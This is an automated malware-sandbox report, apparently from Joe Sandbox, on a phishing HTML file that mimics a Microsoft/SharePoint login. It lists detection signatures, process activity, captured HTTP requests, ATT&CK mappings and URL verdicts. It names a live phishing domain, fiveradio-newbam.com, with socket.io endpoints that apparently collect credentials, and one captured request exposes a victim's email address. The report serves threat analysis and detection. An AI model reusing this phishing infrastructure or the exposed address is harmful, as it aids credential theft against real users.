Edit tour

Windows Analysis Report
0055-fac_aftral.com_Thursday, June 20, 2024.html

Overview

General Information

Sample name:	0055-fac_aftral.com_Thursday, June 20, 2024.html
Analysis ID:	1460053
MD5:	9c7e16f7309a43a052ac4dab2b8ef3dc
SHA1:	f196a48fa0500bbd3d0026a0dd9becaedf5412ce
SHA256:	1af1b9613b1a8f17868472d133484d4590554a4d4706cecdfec8a7b3d59a5b10
Infos:

Detection

HTMLPhisher

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Yara detected HtmlPhish10

Detected javascript redirector / loader

HTML Script injector detected

HTML file submission containing password form

HTML page contains obfuscate javascript

Phishing site detected (based on logo match)

Suspicious Javascript code found in HTML file

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTML title does not match URL

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Invalid 'forgot password' link found

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 7124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\0055-fac_aftral.com_Thursday, June 20, 2024.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6332 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1972,i,6958024593977134039,17326196499739565571,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: POST /socket.io/?EIO=4&transport=polling&t=P0rVuVC&sid=llA91gRN5_pFxgZ2AAWr HTTP/1.1Host: fiveradio-newbam.comConnection: keep-aliveContent-Length: 2sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Auth_UID: USER21052024UNIQUE1031052124202420240521311024sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-type: text/plain;charset=UTF-8Accept: */*Session_Email: michael.deretz@aftral.comsec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Jun 2024 11:54:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Security-Policy: default-src 'none'X-Content-Type-Options: nosniffCache-Control: max-age=14400CF-Cache-Status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZEUxPOgvWkZ66GiznvTs4uSMrL%2BXb%2F5OnB7RrK3PJ6qFXaDXmvV6WYSHqFP1nxI8QHkphHp8DLv6SNx2RNOXU7QlWieeXAW7wk6FvOvZXO%2FCJSEw3nShy7%2FJZ9j%2BjNEN9XB7avYtgQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 896b90b08d7d42ef-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Jun 2024 11:55:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Security-Policy: default-src 'none'X-Content-Type-Options: nosniffCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7BptAIFf0tNX4rJETPtezoOXKUYQ41gbY%2FEKIjpkTiuVqJS9I%2FjYA27iar7cxw7nuxqUOjR5s5HoL7v3CWG9kL6HdIjmMKyErL4u3kTM0UsjxDzrPH1p10KGBhjMCp0WySu%2FRF5NRA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 896b91585c48c440-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_73.2.dr, chromecache_86.2.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.
Source: chromecache_73.2.dr, chromecache_86.2.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e3281710
Source: chromecache_73.2.dr, chromecache_86.2.dr	String found in binary or memory: https://cdn.socket.io/4.6.0/socket.io.min.js
Source: chromecache_73.2.dr, chromecache_86.2.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_7cc096da6aa2dba3f81fcc1c8262157c.pn
Source: chromecache_86.2.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.sv
Source: chromecache_73.2.dr, chromecache_86.2.dr	String found in binary or memory: https://softwarereviews.s3.amazonaws.com/production/favicons/offerings/3117/original/Sharepoint_icon
Source: chromecache_73.2.dr, chromecache_86.2.dr	String found in binary or memory: https://www.w3schools.com/w3css/4/w3.css

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.16:49797 version: TLS 1.2

Source: classification engine

Classification label: mal96.phis.winHTML@17/46@20/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\0055-fac_aftral.com_Thursday, June 20, 2024.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1972,i,6958024593977134039,17326196499739565571,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1972,i,6958024593977134039,17326196499739565571,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html

HTTP Parser: file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
0055-fac_aftral.com_Thursday, June 20, 2024.html	5%	Virustotal		Browse

Source	Detection	Scanner	Link
a.nel.cloudflare.com	0%	Virustotal	Browse
d2vgu95hoyrpkh.cloudfront.net	0%	Virustotal	Browse
cs837.wac.edgecastcdn.net	0%	Virustotal	Browse
s-part-0015.t-0009.t-msedge.net	0%	Virustotal	Browse
s-part-0017.t-0009.t-msedge.net	0%	Virustotal	Browse
sni1gl.wpc.omegacdn.net	0%	Virustotal	Browse
fiveradio-newbam.com	15%	Virustotal	Browse
s-part-0032.t-0009.t-msedge.net	0%	Virustotal	Browse
aadcdn.msftauth.net	0%	Virustotal	Browse
cdn.socket.io	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
www.w3schools.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://ipinfo.io/	0%	URL Reputation	safe
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVxf5&sid=uVSG40XMoVJ9HcCvAAWu	100%	Avira URL Cloud	phishing
file:///C:/Users/user/Desktop/0055-fac_aftral.com_Thursday,%20June%2020,%202024.html	0%	Avira URL Cloud	safe
https://a.nel.cloudflare.com/report/v4?s=7BptAIFf0tNX4rJETPtezoOXKUYQ41gbY%2FEKIjpkTiuVqJS9I%2FjYA27iar7cxw7nuxqUOjR5s5HoL7v3CWG9kL6HdIjmMKyErL4u3kTM0UsjxDzrPH1p10KGBhjMCp0WySu%2FRF5NRA%3D%3D	0%	Avira URL Cloud	safe
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVxf4&sid=uVSG40XMoVJ9HcCvAAWu	100%	Avira URL Cloud	phishing
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVxEf	100%	Avira URL Cloud	phishing
https://fiveradio-newbam.com/favicon.ico	100%	Avira URL Cloud	phishing
https://a.nel.cloudflare.com/report/v4?s=Igr5gv16acxkvy9rwKOYOFjwXzsQ59xX4zHj3osy95ZMLOS4KFSekr8g0uYVZ5ACoAMd7y22vxQkVONuRBNW2HE37dsyRO1sDuYF9Ip5fCq08eZ%2F968btDyDJ%2FaIF1vl5SdImQ630A%3D%3D	0%	Avira URL Cloud	safe
https://www.w3schools.com/w3css/4/w3.css	0%	Avira URL Cloud	safe
https://cdn.socket.io/4.6.0/socket.io.min.js.map	0%	Avira URL Cloud	safe
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVzar&sid=ow3WvTxR_cQohvTKAAWx	100%	Avira URL Cloud	phishing
https://www.w3schools.com/w3css/4/w3.css	0%	Virustotal		Browse
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=websocket&sid=FjnTMReM7ssTnzkJAAW9	100%	Avira URL Cloud	phishing
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVzaq&sid=ow3WvTxR_cQohvTKAAWx	100%	Avira URL Cloud	phishing
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVzBj	100%	Avira URL Cloud	phishing
https://cdn.socket.io/4.6.0/socket.io.min.js	0%	Avira URL Cloud	safe
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rW9mQ	100%	Avira URL Cloud	phishing
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rWA5s&sid=FjnTMReM7ssTnzkJAAW9	100%	Avira URL Cloud	phishing
https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg	0%	Avira URL Cloud	safe
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVuVC&sid=llA91gRN5_pFxgZ2AAWr	100%	Avira URL Cloud	phishing
https://cdn.socket.io/4.6.0/socket.io.min.js	0%	Virustotal		Browse
https://softwarereviews.s3.amazonaws.com/production/favicons/offerings/3117/original/Sharepoint_icon	0%	Avira URL Cloud	safe
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rV-ov	100%	Avira URL Cloud	phishing
https://a.nel.cloudflare.com/report/v4?s=TAVP6bQrUxF%2FSV8VheC7us0VIwwyavRF%2Feo7gnWuSBDEVul2i008sN4APLONjZlb1qKbM1fkae6s%2BFBIuOLb%2BdCiuh03BWjm45Nl6VBtY9%2BCyvpjC4R7CeP3FJt5lrO%2FxR1c%2BTR4yg%3D%3D	0%	Avira URL Cloud	safe
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVuVD&sid=llA91gRN5_pFxgZ2AAWr	100%	Avira URL Cloud	phishing
https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg	0%	Virustotal		Browse
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=websocket&sid=uVSG40XMoVJ9HcCvAAWu	100%	Avira URL Cloud	phishing
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rWA5u&sid=FjnTMReM7ssTnzkJAAW9	100%	Avira URL Cloud	phishing
https://softwarereviews.s3.amazonaws.com/production/favicons/offerings/3117/original/Sharepoint_icon	0%	Virustotal		Browse
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=websocket&sid=ow3WvTxR_cQohvTKAAWx	100%	Avira URL Cloud	phishing
https://fiveradio-newbam.com/socket.io/?EIO=4&transport=polling&t=P0rVuBL	100%	Avira URL Cloud	phishing
